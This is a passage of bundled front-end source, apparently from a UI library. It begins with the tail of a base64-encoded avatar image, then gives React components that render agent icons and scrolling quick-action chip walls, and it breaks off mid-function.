zrTPCIdO9V5tPUAjAdSx/58rwSmhIR7NylEmEKUtL6Bq4zOSN62oPpbMX1DqC1s6mtDOu578QIHyuQB/H4pXoRiBi9yjOKW0b6pu/XHjnWoGi/8XHAwGgtXincK1774EOPeP/tozECgJLHf7LdAEVe5fRWCWhxBFvSivvtV9mNZI9N6clqiolvhJnDRWlkV2Dxwc78jOUE5LMNVlkgqVJYMpVXUtMppRbvQAjp4ORqjpuDyaH5IW51CbKnpxdYiHL3nT5zhBJobfTyafbsYPIPuYZdyW3vm3NbvTiPGBzGA0A4wTAQJe3ML3phz196fNHOwj3zKFql0kdW8IE8IUa+xkgZXZHZnfP5AwB3ZwYqoSzY1lHAaNzYYfO8ck8tyScDaILFZUcQIqOR/k0EqrY7aNz2z47tzQWduZhemRpyB/8l3L+VnUbv/AWVXbcy7OhddAsaiqcoBcBX7dlPIjjgQHQyhSHChf273+yA4D9qUQREPAlVKUxK88odbAKg3hKEud2iD6xGoTg79j4BSfAHl5NCr0SbVWqQPT8gG/jPgAZBj/flRAuVIlhzDvNTIENbsnAtYgnwggnj0eyQah1oWQZ1AfCO6baisQbY1kOJfYMNlqpUEy3GP6SWSuoR0MrjbzD0KRzM/YzejJK0HiKKZ9KZGOXtsWwSNf1QoCo0hEFggpbE8HJ4xEh4D1KM7WCdRAornYaAKDNqsEZgCkNzeapJMkuEyu0o2leeM12qCVCCvJd6ZVtO655kbJtQ/xhX/MJ/wwJ4A358HlNJKxeURy0ifr6LPVfWFk+PzE2/FLl/gfxabd4oMfwcP85jPbz9l4dj8gGARD2qFUBQyudCxJUFnSBPKGae51tlQygJpgpYQWQ6miVCayCLuwQys/OhiraZtBTYZapQpkx2HCqziAqSQ4yjHIFfeWwTgJEZi3BtF0kM8goy6tIjmWkmokQDn8JcqeCrjOFschWDT9jr5ARHJllJrCsMx6rOnPLMQ8TGAx46FQ0Yzu9m/bkNd5nmtlhhggHyFqRRrHCF9dMA9MLd6F043+aCnrTkdqlDaw65FwFbIJKWgedBSFlSCNtaSlKMdDJ9mh/S1nusI4u39wAABK5SURBVOz4S/pzMpghBSU+JzipHS/IpbFCg+iF4Dvn3Q/yeOAAtHLD/XfOMUD9soyU6RIkGAozHKbTsLXXq1YCdlDToKeufTgOnFXtSCj/jvgaBPReiWHIQRXl4fUoG9qpmszQELAyXjAZGJaonstqyGJlTK6bkiicI6SSMa9sE/EI99QjnTxkjPcrid3MUKmllBPA+Vq2YTUkbFdl6NF7jQxQFAdtCTvWTiRN1mMJXtPIDK478C/T/edwpgDLq4ORb8g0S+czO2faMI3FhXNBnWw7r40frTlrG2YIn5Zpvb3fc9LKI37HrcKxDDulst+5f8MxesoV/PJwdW3l/M2bV8/Fww/4l1x9KMfSwtx3WlpaO7EfTto0g8z2ygbSjEzyhNMZXBAppKC14JyTlVSjZWjGOTNqZIbMDYMb4qkaBERmNk4FoK4kT0pyh9OksXl0qseQdBA5050aOV4dAIJRMN4LBoS3oOrmYbTPVDx0VaOSQDXkjdl5scI+k3fYNBvEzpUlriDgh/IEjuO1WWX6dpvERCmmEyrVp0ii0O4zM0cHZCsjLqpj2xW2Kt9jh1AlGu23hKADqLIFdmbrphNkVkqINN6tPS2guYU65vukHX9EGVGPoDKPiGYLpn1On5DWqnvv3dLYfLG///ZXvP9hHFL0oR0DA7fP4IyetwdW7B/Tqxw7hl30Mucg5PWXbb8/QXQ+JaZqRbWnxAgGQ5AgMIT0nIcN8JrvkCHhxcE0bTaBDS/imkx3ZVXvU515wRSocIgozx4/ze6abuxXcWBC+soU3qvKUhrUoIoFJCVnEFsgNc/1p6PxHk/57gadJ0BjXQWKnUJJb2C3jRGVIiGgBuKLDq35lGGOrCqzA2IHa2QFVsHkejgRmOG777CzaZ7YLn98adSLd9kZvWZ4SPVr5YLRfEZnon52TztL5SdaIR1oa3Rs+ES9X775zs/OeO1hHVGvh1W45RbHBs8R7zsvgXUO1gVfSIvMTGOBHhLCQ5UFb4PoslUQhCsh+ASD1/kvIMKu83QQDUmhrQljlKAyTWJL/CjHZ8p/u1agUtmyK8OIEt6x23BYAKH3KrWUhN4jsA0r5aU8UM/ca+jHd/gsD+bhRd8nCHiDxNX8MCYawOQ+61JDHQ272Oh11W9ZUpnAap38sZHOuxassbcdIPOsPypOlwvOnQqQcU3P2XF3pbMdUalIuJy6WAd+5SK5EkVHGaF5rHtcs1NTBt8j1FV99/z46NBDk3xWw+OhqeBcfP5NfKtr+87dcPju84uMCrjjpapLZkTgmIZnYuIdY39IfKAQxFDSyExVgupUAgXTuUfJFyBSbcNk2Rsz8Mr3yFjDJQazYzxa28p7BHIwPff2/wf+LN2c77HJSe3JOoAWYOTFIXFQs1lKZ+BFwJjynEwkt2W2zNdsEKCqUsu301n3lbWl1M7qplMkms47pEW7HDNW0m9jNhxFRfnSx8xt1zz0n56zzLL+dgY7ip2Br/FjapyTwQSVnd0x6LCXeX/5qUwbABedTSrz3Q4fHZVnrKjP4h2fHysOn+OWh348dAlYaUGh0HMOD/hFGx0/EM7mRmwJpsm4MH5h1CpgcjK8jIthH/52Zp3qL4bjKDSMfYluj5d2clemQFDjY3Kb01IZhgoeAE9ruRL3RyqRKgzmO8Mu5rFw1SSFXS7YSD1URao6zYR4Puqj2vOFePN4pdpZMVUVRms2VOxQX2TnsVr1qkPea0zP41BrS5om+J3TuXAw6EB2FpMfrJ9ArqHO7h3i3wLOttk19a49rE+s7q+Kl1bc4/sErtI4Gmk1eVTa+FNhtvRXTkohr8sJf/zNzu5nH4a361t+3lGp08+79sDP9fffemlhZe0UQCzYq0EKvTbbd7ZeQMYwGwQSeBIqCMg9Sp1ImZJsMCvsO0ELOJ0sE6sYwEhnrLk0ms8FWfmi8S1j7N2QGP7gUHCOpVtiOMt7M9iIWQIiR1x8v9JGgCtpZajvlJF6l3GIBb6rEgWQUjyypgGO95gt7OH71ihTkPzK00+lCUI7JnbGTk+qdyVPuRxeAbqY7EOihIBW6tr5fIc18tBpyJ0T9lmnoENWs7Yj6sLd3Obd5adQ99IlzlR+cdXGUxhtKzHH+9Tk5PgFrn5kx0cKQFu1tlDqrqm/exoiFwIP9FYJLPAklqAQLNo1BnzDwPZGeV4GpWPFwTAY5L0C1WRXR0PqzcNDUkp2Jan9OjxKbM2K0R7AgmkyI6Sxn0iULWR+uEzaJBkrh5gEpBSMERlrxvsDBGVJ5CiBgVz+8wZtL8vwb+ruWHEwFvBRN2SUF12LKP3G5z6T+hl7NgQVYRfOx2yzsvRTillG2I28S0PF99reYFbQh4KoUJgCvMeOIX24Jdqjg+czgstz0jU6odSIm/K93BCdghvYrnf9FOP63d79UR4fOQBtXIGjvqblFK7Cy2EbyVQZxuemq0pF2MUVqSCcoQ1YGKolKKOBDcBgdoXIFankFlpqKwnuT0gsvilJwu6rED8Ib4aN6qsswVDDZvc6kX0DALuXnePayC2eVywpgfjnC6wqZUWdAItMFVAxnAbDAxhIbQGvlDMJ1p0pnzq0h8ndLGzOPwHpDkiuArHK/GRHQDxtx/PHcXDf44/l62BZC8Wa9l9IPYCXnS0vAFI7Mdfjk2uaNFFGfhBY5rrmgnLn5lUvb242nQZ8BUv5qI+PBYA2slDoLo0O9X8FKL0IhdlPFDgJDH6CuRCZL0EP99swjBMRfSgq+FRrMhKSRi8WDKsSHfUXUk2meQ/A0L4U3x5Kl1DnXNsklWlplcwUvUdy9ZocBuO6OXr9zDx74Uu/Ck6yA+MKpV6T4VEO9XOMVOdBSSl4dHEiVQsga3e6b/EGHUgnSHD+/r/+9fS3ly4FIE33ckuwRQCo95mTOPB6uU+pq/S2Q9JJM4a4N77RLtsS3+0YfBeMFbrZ1ngmeqKdVwR7W9lGpPJBnwTNq9KLqNyvgL1SNOpj+PWxAbDSVlJ6XsLfPMXfBSmrDeNUQ1WyQWlVh1g0GVLiyn4JKMM8lHJBa++DojoBIZn4KzzjwLAqmrigYKQw1aNhEL3bGu1LrgncqSlWCkAqulVEQ20Tk7gn0+efew6JSECW1CwnKVWh4p0jUU/MLq96mofJlGiNLBwkeLVV3e1TMBr7M9TUylqI88zFXQRgLnSuPFsGfMpfk1mzhLaDcIY2GaS2PfmffYS6csbl8GxSODzCynv5F20ud1jBaBkhKfmuwxJk4D4POkoXS/mempgYfSlOfIy/PnYA2nY0cqE40t+5sbZx3jX/XPhHsM2yhIVsqKRdhTPA/RIzJnzD4CAuJ2RCSD+InckcMsLiQ5AaktjG0hXPfPbXWF8GqUQssBJvC6mGNDMdfpkNcBYXZ9SF6cdXr6cvfOqE/YL3aNwDKNU0QDMjOnLzmDNiYLueSUV1fEa9AKjlu+CRE7j1fr947Kn01z96HRuYGXs6JwDWmKjtVO2DIGxBTAVq71xlX8ot0a4yeqiSLUf682ls0HsqbRBsev92zsp5kzokhvTQhqUVSLrqF6cnRj82lWst3ns8EgCsVIgV5c8xTN8JbQvG4Ay2BgErRORGJQRUD1UqYe35EWuL78A1NKRw9GqcDACZGLEEuHax3MXefYcBU3Z6fIE2VwyvUbbqzLm4G/zgEqefdHenU584FupVRGQ7SwcpZ0XLeM85QaeRqZSm5BtQtp4CzPHbOjyrLQB6hFStUOOhQLPEdvx6C45PAI5nlFVmfyvt9GLDLKEZttFkDtV81FVEZXUgdiPOKMY0TSqglAKaHJYDArsaNmuQeiMfu9SjNu8ejxQArZXSkCG8TgK5Z1EvhaxOgBPU1XZTWjERBqJDVRkG8/OMN2UH6ot7BFQEpCnPjGSvRNwQ9TdeKqZjn0Lj85y2lkcwWWbzL86pxuP8Zrp0/UY6uncX83dH2XxmmYWRWMcayaz95gR6A8CrSKw1bMnF+Wm2ZBhPG6jWRbYVWyDBlDenZ/bvS6/fuBX18n2q1ZzLh6Oi+qUzKP0MKSm3zX62NpEkar14l5LNtQ0jS4Y25sOScnn+jhAM9ymxo/50VP65vdSLpdLE6SKZw+UHH5mPRw6AFcoUhwYurK1unobyFyW+hrrL62ob6TnTtbON4wOoOwmu1FE9SXafEV818CqCrnClGo3U3tbO9l04G3rSXA/1y7OWr925Ss5g2GOUbzjH4bkrPTfSsYMHiA+Sao/NqCcsuNwEGn3KfBIWEwecMakJ8MTqCZSpJ+tOn7tIZC0wZTQv1g5oeK+gNwi/FXUeEpz3ixzbkW3d7HREuAdA6cFGgmi5Q8V90U46GOdsh+PN5T4V5XP/y7y/c6o08UhJPZr47vHIAtAaluixw8OFM9uad3TCrIsmfCrPHKtUUgXgUIGN2maAR0nh4H8Y5Nznv4r0UC0hU9LN3iupv/daPFttoJF7Igit/aTksFwhjJRR4QnASzdup+OsPaMz4aR5gbKCXSfUY7iL93qOtKV362SAXaA9ybovt0fY85g/6uk4OWBt2ln2eF1NQjAq3S3D+SuCCIuTv6WC7+M3VbVzWVdP5/YIWM7Rmfzba9KFkZEuVjfqnC1N4uGysMwjfDzSAKzQjWG8wnhx6AwjrJ14lRdVRaGE4ITMMHfQFCLtH2OIIdXgG/9DpSkfY6yULSBmWC11qHA7AKbHajl5f7ds0PuMIRRBLgj9Z3D8Zyzt0cnmMIIjCubNAkfQ2ikEgVIXBIaHGhKYOm0n62WCLBvvMa1fwAomHg2pW8Mc4HV2UDdI7bNOeTQjmwd4Ircg7F7Kjvdxzk/bHZc5bwDcOxnv7kLqnZ6eHMfJePTUrVX+p8djAcBKpQXi8HD/maWV2U6ofzGfh+GARAboEMj4yLbh7wxSmCWT4JheshKiDoY1ESB2DDbCPDg7MYZsOYZqAEmMXogSDxAzwiLqbazepROggxCwo1xtN5AUiAqAcE50WZ929vwYZRk5s2gEroD20P4zLc137jn8dPqtP/jjdOSTz8U9Oi4CUYhp770LOp7x3RZcrlUGf37dBe47PTTUd7pYHOyKlzwmvx4rAFZoWiwWC729PWd2bG/qhAsXUU0FvVBB41is8iDsJaUN//QE4V+oZ/dwc5zV8WKXERFcoc5Q74LUww8B5JfYHZ2yndHRywLoHbtZ7pdRkngGoBmOEaeC3IeiA9ARHK9t594iK3f5DutRuWZShaElA9hP7DuYDh44kg52HKWeAJqsacvJqjTXRDBWpKD18gfTokSJ57dt27JzfGz47MREsYvTj93xWAKwQuWenp5Ccbj/TF/f7U4achaGdAnEcChgstacKFLyeZgQoKrcwaKVAsJVrrQRTQHLyQdZlWYVB5vhfzAbaJvRPUEMTykYGTAAzPvedXooPzQnYDOHZX/brjToKqX0hDwWTElINsEY2dvhVNWl3fva0/69u9Oln7xKCXYcpWn8j+E9v+V/lM/7yBLqQj5/ecf25k4823MEDR5pG0+6f9DxWAPwvQ0rDNy+MIIKWl3b7MQJeRGbsFvGKXWUIzJS75ITkWfnCMUWgscCDISGAe+N+R6xEq4IgMBbVcSFeq9OP+0fTCfYjVObM4DhNQphccbwcnV01pg8dZgdPAdZuznmhHDNWlRSzwJUiGRnuh1rP5p+zLYJC6ycYNxRWalI9b2aAiE776YuHIzzLJi/0zayFvY3HnfgSXYP4hm/XAfauUCLDDu8xF7CHSyU8rtg6XfAxfOgKw/yl50Yl8BQImpbVdTjKjFG5x6HvahjAVC0+YwtOkdkmYnibma9n1Xmp8iaiXFlrkUEL0CZ0l6WVnN11gC9vwUpwIqMasHl8B8VcmSGNSbTPjaYcXjOBYxcAk5o80ZAV/t/qmrXLwC2AgX8Uh6/dAB8L5eIQBT4uwJGNgpJzyNVfhfJ9RyS5WSAjZlwjnzkWBqMd/QFaRcZNDwMPkI6GquLzGrsxgJ7Ez97YH+aYZRDaaV8c36ydp0B8j1sEXEZzMSGi5QVyazcd5dhmpjzISD538omO0rMyTH2cUs1hbWqjVeqq+52kR3T9aiHTyDLAzlCAz2Qkh6zQjo6TrZs3Vp7sjRfen5pfu455t52kM51UtWrrSZQ1pFKJhg4q82s6A2ko/N+nfQOatOzxAavsBj6Kpk0rUjEaVaw3/9EG8vs1qReEhkcu1b6mem8SFl+NjHFcqw0VsAQ7Np39PCV9me/0P3n/+nfd5/q7Hysbbn7Zf//twB8P4LtPtBxsu7uRsfdqroOVrfqYBPtdsZmWwgYt+Bht+jObKmr75hmS4WD7EG3jUSC62yms7WhgVVMlwqfOXaCxS/fKa2vVZUAaoGhwJmG2urC6to6OZCN3SzExt6Jj7fj8H60u5/z/xeapucAQmXKXQAAAABJRU5ErkJggg=='\n","import { MingoIcon } from './icons';\nimport { FAE_AVATAR_DATA_URI } from '../assets/fae-avatar';\n\nexport type AgentName = 'fae' | 'mingo';\n\nexport interface AgentMarkProps {\n  /** Which AI agent's mark to render. */\n  agent: AgentName;\n  /** Sizing/positioning classes applied to the mark (e.g. `w-5 h-5`). */\n  className?: string;\n  /** Override Fae's avatar source. Defaults to the avatar PACKAGED with the library (a\n   *  base64 data URI), so every consumer renders it without serving any host asset. */\n  faeAvatarSrc?: string;\n}\n\n/**\n * Unified Fae/Mingo agent mark — the ONE place that knows how each agent is drawn:\n * Mingo = its vector `MingoIcon`; Fae = its avatar (Fae has no vector), shipped with the\n * library. Just the glyph — the caller sizes/boxes it. Both branches are decorative.\n */\nexport function AgentMark({ agent, className = '', faeAvatarSrc = FAE_AVATAR_DATA_URI }: AgentMarkProps) {\n  return agent === 'mingo'\n    ? <MingoIcon className={className} aria-hidden=\"true\" focusable=\"false\" />\n    : <img src={faeAvatarSrc} alt=\"\" className={className} />;\n}\n","'use client'\n\nimport * as React from 'react'\nimport { AgentMark, type AgentName } from './agent-mark'\nimport { resolveIcon } from './chat/utils/icon-library'\n\n/** Unified icon value used across the app (announcement bar, chat quick actions,\n *  AI-agent identity). Exactly one of `name`/`url` is typically set. */\nexport interface EntityIconValue {\n  /** Library glyph name resolved via {@link resolveIcon} (icons-v2 + curated aliases). */\n  name?: string | null\n  /** Uploaded image URL — wins over `name`. */\n  url?: string | null\n  /** Props spread onto the resolved glyph (e.g. `{ color }`). */\n  props?: Record<string, unknown> | null\n}\n\nconst BRAND_MARK_NAMES = new Set<string>(['fae', 'mingo'])\n\n/**\n * THE single icon-display path for the whole app. Resolution order:\n *   1. `url` → uploaded image\n *   2. `name` ∈ {fae,mingo} → packaged `AgentMark`\n *   3. `name` → library glyph via `resolveIcon` (+ `props`)\n *\n * Replaces the old per-surface logic (the announcement bar's `renderSvgIcon`\n * map and the chat's ad-hoc `resolveIcon` calls) so every surface renders an\n * icon identically.\n */\nexport function EntityIcon({\n  icon,\n  size = 20,\n  className,\n}: {\n  icon?: EntityIconValue | null\n  size?: number\n  className?: string\n}): React.ReactElement {\n  if (icon?.url) {\n    // eslint-disable-next-line @next/next/no-img-element\n    return (\n      <img\n        src={icon.url}\n        alt=\"\"\n        width={size}\n        height={size}\n        className={className}\n        style={{ objectFit: 'contain' }}\n      />\n    )\n  }\n  if (icon?.name && BRAND_MARK_NAMES.has(icon.name)) {\n    // Size via `className` when provided (so responsive Tailwind sizing like\n    // `w-6 md:w-8` works); fall back to a fixed `size` px box ONLY when no\n    // className is given — an inline `style` would otherwise override the class.\n    return (\n      <span\n        className={`inline-flex${className ? ` ${className}` : ''}`}\n        style={className ? undefined : { width: size, height: size }}\n      >\n        <AgentMark agent={icon.name as AgentName} className=\"w-full h-full\" />\n      </span>\n    )\n  }\n  const Glyph = resolveIcon(icon?.name ?? undefined)\n  return <Glyph size={size} className={className} {...(icon?.props ?? {})} />\n}\n","'use client'\n\nimport * as React from 'react'\nimport type { MarqueeSyncController } from '../ui/marquee-wall'\nimport type { QuickActionIconSpec, QuickActionChip } from './quick-action-chip'\nimport { QuickActionWall } from './quick-action-wall'\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface QuickActionMarqueeItem {\n  /** Stable key (suffixed per track copy internally). */\n  id: string\n  label: string\n  icon?: React.ReactNode | QuickActionIconSpec\n}\n\nexport interface QuickActionMarqueeProps {\n  items: ReadonlyArray<QuickActionMarqueeItem>\n  /** `'animated'` (default): endless scroll. `'plain'`: a static chip row —\n   *  the consumer's opt-out of the marquee (no motion, no track padding\n   *  effects beyond the plain layout). */\n  mode?: 'animated' | 'plain'\n  /** Scroll direction. `'right'` reverses the travel. Default `'left'`. */\n  direction?: 'left' | 'right'\n  /** Scroll speed in px/s — the shared marquee unit (CardsStrip cruises at\n   *  60). Default 40: on-screen speed stays constant no matter how many quick\n   *  actions an agent has (the engine is position-based, not loop-based). */\n  speed?: number\n  /** Pause the scroll while hovered. Default true. */\n  pauseOnHover?: boolean\n  /** When provided chips are interactive buttons; omitted → decorative tags. */\n  onSelect?: (item: QuickActionMarqueeItem) => void\n  /** Repeat-pad the track to at least this many chips so one copy overflows\n   *  the widest container this strip can get (the loop only engages on\n   *  overflow). Default 12 ≈ 2600px+, enough for a full-bleed max-w-[1920px]\n   *  section. */\n  minChips?: number\n  /** Pair with a sibling marquee under ONE position driver (the resolve\n   *  strips' pending/resolved copies stay pixel-locked). */\n  sync?: MarqueeSyncController\n  className?: string\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * Endless horizontally-scrolling strip of quick-action chips (Figma fae/mingo\n * marquee rows) — the single-row preset of {@link QuickActionWall} (same\n * chips, same engine, `flex-nowrap` layout). Clone-copy chips stay\n * interactive when `onSelect` is set (clone wrapper a11y applies). Pauses on\n * hover (optional) and always under `prefers-reduced-motion`.\n */\nexport function QuickActionMarquee({\n  items,\n  mode = 'animated',\n  direction = 'left',\n  speed = 40,\n  pauseOnHover = true,\n  onSelect,\n  minChips = 12,\n  sync,\n  className,\n}: QuickActionMarqueeProps) {\n  const chips = React.useMemo<QuickActionChip[]>(\n    () =>\n      items.map(item => ({\n        id: item.id,\n        label: item.label,\n        icon: item.icon,\n        onSelect: onSelect ? () => onSelect(item) : undefined,\n      })),\n    [items, onSelect],\n  )\n\n  if (items.length === 0) return null\n\n  return (\n    <QuickActionWall\n      chips={chips}\n      mode={mode}\n      axis=\"x\"\n      reverse={direction === 'right'}\n      speed={speed}\n      pauseOnHover={pauseOnHover}\n      // Plain mode shows the items once, untruncated; padding only serves\n      // the endless loop.\n      minChips={mode === 'plain' ? undefined : minChips}\n      copyGap=\"var(--spacing-system-xsf)\"\n      className={className}\n      contentClassName=\"flex-nowrap items-center\"\n      sync={sync}\n    />\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport {\n  MarqueeWall,\n  MarqueeWallFades,\n  type MarqueeSyncController,\n  type MarqueeWallFadeEdge,\n  type MarqueeWallProps,\n} from '../ui/marquee-wall'\nimport {\n  QuickActionChipSkeleton,\n  QuickActionChipFromData,\n  type QuickActionThemeSpec,\n  type QuickActionChip,\n} from './quick-action-chip'\n\n// =============================================================================\n// Shared wall constants\n// =============================================================================\n\n/** Skeleton label widths (ch) — realistic spread, cycled. THE wall-skeleton\n *  spread, shared with the company-hub deck's ChipWall: sized so a 24-item\n *  wall overflows typical caps at any viewport width (same fill + fade as\n *  the loaded state — zero height jump when data lands). */\nexport const WALL_SKELETON_LABEL_CH = [17, 24, 14, 20, 15, 25, 12, 21, 16, 19, 13, 23]\n\n/** Deterministic index-alternating merge — the mixed \"one stream\" pile\n *  (deck slide 3's IT+SEC blend and its Storybook mirror). Input order\n *  stable → the blend never reshuffles across renders or consumers. */\nexport function interleave<T>(a: ReadonlyArray<T>, b: ReadonlyArray<T>): T[] {\n  const out: T[] = []\n  for (let i = 0; i < Math.max(a.length, b.length); i++) {\n    if (a[i] !== undefined) out.push(a[i])\n    if (b[i] !== undefined) out.push(b[i])\n  }\n  return out\n}\n\n// Brick-mode padding fallback: ~14 columns of chips per row — one row copy\n// overflows any sensible container, so the loop always engages. Used as the\n// row-count reference, and as the pad target until the container and chip\n// widths have been measured (then the per-row target adapts — see chipWidth).\nconst DEFAULT_MIN_CHIPS_PER_ROW = 14\n\n// The adaptive pad target is derived from the MEASURED narrowest chip, not a\n// guessed width: repeats = ceil(containerWidth / measuredChipWidth) + margin.\n// Measuring (rather than assuming ~72px) is what makes it correct for a tiny\n// one-word chip AND a wide multi-word one — a guess that overshoots the real\n// chip under-pads and the row silently stops scrolling.\nconst ADAPTIVE_PAD_MARGIN = 2\n// Divide-by-near-zero guard ONLY: floors a glitched sub-pixel measurement, but\n// stays BELOW the narrowest real chip (padding alone is wider), so a genuinely\n// tiny one-glyph chip keeps its true measured width and still gets enough\n// repeats to overflow. MAX_ADAPTIVE_PAD bounds the count if the measurement is\n// ever degenerate.\nconst MIN_MEASURED_CHIP_PX = 12\n// Sanity bounds on the resulting count.\nconst MIN_ADAPTIVE_PAD = 4\nconst MAX_ADAPTIVE_PAD = 60\n\n// Chat-agent walls (fae/mingo) cap the brick stack at 2 rows so the quick\n// actions never crowd the composer; every other surface keeps the caller's\n// `rows` as its cap.\nconst AGENT_MAX_ROWS = 2\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface QuickActionWallProps {\n  /** The wall's chips — the shared {@link QuickActionChip} shape (same as the\n   *  chat rows), including per-chip `theme`/`lozenge` for mixed IT/SEC\n   *  streams. Chips with `onSelect` render as buttons; without, as tags. */\n  chips: ReadonlyArray<QuickActionChip>\n  /** Wall-default {@link QuickActionThemeSpec} for chips without their own.\n   *  Caller-supplied — the lib ships no theme registry; resolve agent colors\n   *  server-side (e.g. `accentFromIdentityIcon`) and pass the spec here. */\n  theme?: QuickActionThemeSpec\n  /** `'animated'` (default): marquee + overflow fades. `'plain'`: no motion,\n   *  no blur — the consumer's per-surface opt-out (forwarded to\n   *  {@link MarqueeWall}; in brick mode the rows render static and the\n   *  stack-level fades are skipped). */\n  mode?: 'animated' | 'plain'\n  /** Render every chip's theme lozenge (classification walls). Per-chip\n   *  `lozenge` values still win. */\n  lozenges?: boolean\n  /** Marquee axis — defaults to where `fade` sits (see {@link MarqueeWall}). */\n  axis?: MarqueeWallProps['axis']\n  reverse?: boolean\n  /** px/s. Default 40 (MarqueeWall default). */\n  speed?: number\n  /** Marquee on/off (auto-off when content fits / reduced motion / loading). */\n  animate?: boolean\n  pauseOnHover?: boolean\n  /** Opt-in manual drag + wheel scroll (forwarded to {@link MarqueeWall}) — the\n   *  auto-marquee pauses while the user drags/wheels and resumes from there.\n   *  Enabled on the embeddable-chat quick-action walls. */\n  dragScroll?: boolean\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>\n  /** Color behind the wall — the fades blend into it. */\n  fadeColor?: string\n  fadeSize?: MarqueeWallProps['fadeSize']\n  /** THE wall pitch — one value drives the chip gap, the clone-seam gap, and\n   *  (in brick mode) the row-stack gap, so the courses read as a uniform wall\n   *  and the seam is invisible by construction. Default\n   *  `var(--spacing-system-xsf)`. */\n  copyGap?: number | string\n  /** Pad the track by REPEATING the chips up to this count (suffixed keys) so\n   *  one copy always overflows the container and the loop engages — without\n   *  it a wall whose content roughly fits its box goes static (the marquee\n   *  only loops what overflows). Defaults to `rows × 14` in brick mode;\n   *  unset otherwise (capped walls that always overflow, and FLIP-tracked\n   *  walls where repeats would duplicate flip ids, need no padding). */\n  minChips?: number\n  /**\n   * BRICK-WALL mode: the MAXIMUM number of stacked single-row marquees. The\n   * actual row count grows with the chip supply — `ceil(chips / 14)` capped at\n   * `rows` — so a short action set fills one row (padded with its own repeats)\n   * instead of spreading one chip per row. The originals are split evenly\n   * ACROSS the active rows first, THEN each row pads to a full course, so no\n   * row is ever all-duplicates while another holds the unique chips. Rows pack\n   * edge-to-edge like bricks (a grid would column-align mismatched widths and\n   * leave holes) and each loops on its own wrap. Horizontal only; the fades\n   * draw ONCE over the whole stack.\n   */\n  rows?: number\n  /**\n   * Chat agent this wall belongs to (`'fae'` / `'mingo'`). When set to a\n   * built-in agent it caps the brick stack at {@link AGENT_MAX_ROWS} (2) so the\n   * actions stay compact above the composer; any other value (or unset) leaves\n   * the cap at `rows`. Optional — decorative/marketing walls omit it.\n   */\n  agentSlug?: string\n  /** Draw skeleton chips instead of `chips` (the shared\n   *  {@link QuickActionChipSkeleton} — 1:1 geometry with loaded chips).\n   *  Callers own the policy (`loading` flag vs skeleton-when-empty). */\n  loading?: boolean\n  skeletonCount?: number\n  /** Outer container (sizing: height cap for vertical walls). */\n  className?: string\n  /** Per-copy layout — default a wrapping chip wall. Override for single-row\n   *  marquee strips (`flex-nowrap`). */\n  contentClassName?: string\n  /** Pair with sibling walls under one position driver (resolve strips). */\n  sync?: MarqueeSyncController\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * <QuickActionWall> — THE quick-action chip wall: a themed pile of the shared\n * chip on the shared {@link MarqueeWall} engine. One component for every\n * surface that shows \"the work the agents do\" — homepage hero tabs, deck\n * panels, marketing strips — whether static-with-fade or endlessly scrolling\n * (axis follows the fade), interactive or decorative.\n *\n * Clone-copy chips stay INTERACTIVE (pointer cursor + working click) — the\n * loop paints clones inside the viewport (reverse walls even START on the\n * clone copy), and a visible chip that ignores clicks reads as broken. A11y\n * holds via the clone wrapper: aria-hidden + focus suppression (the standard\n * Swiper/Splide loop-clone treatment, same as CardsStrip). `pauseOnHover`\n * (default on) freezes the track under a pointing cursor so chips never\n * dodge a click.\n */\nexport function QuickActionWall({\n  chips,\n  theme,\n  mode = 'animated',\n  lozenges = false,\n  axis,\n  reverse,\n  speed,\n  animate = true,\n  pauseOnHover,\n  dragScroll = false,\n  fade,\n  fadeColor,\n  fadeSize,\n  copyGap,\n  minChips,\n  rows,\n  agentSlug,\n  loading = false,\n  skeletonCount = 24,\n  className,\n  contentClassName,\n  sync,\n}: QuickActionWallProps) {\n  // Adapt the per-row pad target to the actual geometry (brick mode only): a\n  // narrow chat composer needs only a handful of repeats to overflow, a wide\n  // wall needs many, and a tiny chip needs more repeats than a wide one. We\n  // measure BOTH the container width and the narrowest rendered chip, then pad\n  // to ceil(width / chip) + margin. Pre-measure / SSR falls back to the fixed\n  // default, which overflows any width.\n  const brickRef = React.useRef<HTMLDivElement>(null)\n  const [brickWidth, setBrickWidth] = React.useState(0)\n  const [chipWidth, setChipWidth] = React.useState(0)\n  React.useEffect(() => {\n    const el = brickRef.current\n    if (!el) return\n    // Read both widths straight off the laid-out DOM (offsetWidth is synchronous\n    // and reliable — a ResizeObserver initial callback can be throttled or never\n    // fire in a backgrounded/offscreen tab, which would strand the target on its\n    // fallback). Chips render as buttons on interactive walls — the only case\n    // that pads short sets; decorative walls keep the fallback. Converges in one\n    // pass: the widths don't depend on how many repeats we then draw.\n    const measure = () => {\n      const w = el.offsetWidth\n      if (w > 0) setBrickWidth(prev => (prev === w ? prev : w))\n      const chips = [...el.querySelectorAll('button')].map(b => (b as HTMLElement).offsetWidth).filter(x => x > 0)\n      if (chips.length > 0) {\n        const min = Math.max(Math.min(...chips), MIN_MEASURED_CHIP_PX)\n        setChipWidth(prev => (prev === min ? prev : min))\n      }\n    }\n    measure()\n    if (typeof ResizeObserver === 'undefined') return\n    const ro = new ResizeObserver(measure)\n    ro.observe(el)\n    return () => ro.disconnect()\n  }, [chips])\n\n  // Repeat-pad the track (stable suffixed keys; repeats keep the full chip —\n  // identical selected/interactive state, so every visible instance behaves\n  // the same and the clone copy stays geometry-identical by construction).\n  // Brick mode does its own per-row padding below, so this pads only the\n  // single-track (wrap / vertical) walls.\n  const padTarget = rows ? undefined : minChips\n  const track = React.useMemo(() => {\n    if (!padTarget || chips.length === 0 || chips.length >= padTarget) return chips\n    const repeats = Math.ceil(padTarget / chips.length)\n    return Array.from({ length: repeats }, (_, r) =>\n      r === 0 ? chips : chips.map(chip => ({ ...chip, id: `${chip.id}__r${r}` })),\n    ).flat()\n  }, [chips, padTarget])\n\n  const renderSkeletons = (count: number, offset = 0) =>\n    Array.from({ length: count }, (_, i) => (\n      <QuickActionChipSkeleton\n        key={i}\n        lozenge={lozenges}\n        labelCh={WALL_SKELETON_LABEL_CH[(offset + i) % WALL_SKELETON_LABEL_CH.length]}\n      />\n    ))\n\n  const renderChipNodes = (list: ReadonlyArray<QuickActionChip>) =>\n    list.map(chip => 